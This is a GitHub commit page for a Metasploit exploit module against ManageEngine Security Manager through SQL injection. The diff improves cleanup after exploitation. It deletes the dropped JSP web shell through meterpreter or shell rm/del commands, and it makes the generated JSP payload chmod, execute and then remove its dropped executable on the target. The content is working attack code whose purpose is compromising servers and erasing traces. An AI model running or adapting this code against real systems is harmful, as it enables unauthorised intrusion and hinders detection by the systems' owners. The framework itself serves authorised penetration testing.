Skip to content

Commit 22223d5

Browse files
committed
Better cleanup abilities
1 parent 4c41319 commit 22223d5

File tree

1 file changed

+24
-6
lines changed

1 file changed

+24
-6
lines changed

modules/exploits/multi/http/manageengine_search_sqli.rb

Lines changed: 24 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -68,16 +68,26 @@ def check
6868
# We cannot delete the executable because it will still be in use.
6969
#
7070
def on_new_session(cli)
71-
if cli.type != 'meterpreter'
72-
print_warning("Meterpreter not used. Please manually remove #{@jsp_name + '.jsp'}")
73-
return
71+
if target['Platform'] == 'linux'
72+
print_warning("Malicious executable is removed during payload execution")
7473
end
7574

76-
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
75+
if cli.type == 'meterpreter'
76+
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
77+
end
7778

7879
begin
80+
path = "../webapps/SecurityManager/#{@jsp_name + '.jsp'}"
7981
print_warning("#{rhost}:#{rport} - Deleting: #{@jsp_name + '.jsp'}")
80-
cli.fs.file.rm("../webapps/SecurityManager/#{@jsp_name + '.jsp'}")
82+
83+
if cli.type == 'meterpreter'
84+
cli.fs.file.rm(path)
85+
else
86+
del_cmd = (target['Platform'] == 'linux') ? 'rm' : 'del'
87+
path = path.gsub(/\//, '\\') if target['Platform'] == 'win'
88+
cli.shell_command_token("#{del_cmd} \"#{path}\"")
89+
end
90+
8191
print_good("#{rhost}:#{rport} - #{@jsp_name + '.jsp'} deleted")
8292
rescue ::Exception => e
8393
print_error("Unable to delete #{@jsp_name + '.jsp'}: #{e.message}")
@@ -107,8 +117,15 @@ def generate_jsp_payload
107117
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
108118
Thread.sleep(200);
109119
|
120+
121+
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
122+
cleanup = %Q|
123+
Thread.sleep(200);
124+
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
125+
|
110126
else
111-
chmod = ''
127+
chmod = ''
128+
cleanup = ''
112129
end
113130

114131
jsp = %Q|
@@ -132,6 +149,7 @@ def generate_jsp_payload
132149
#{var_ostream}.close();
133150
#{chmod}
134151
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
152+
#{cleanup}
135153
} catch (Exception e) {
136154
}
137155
%>

0 commit comments

Comments
 (0)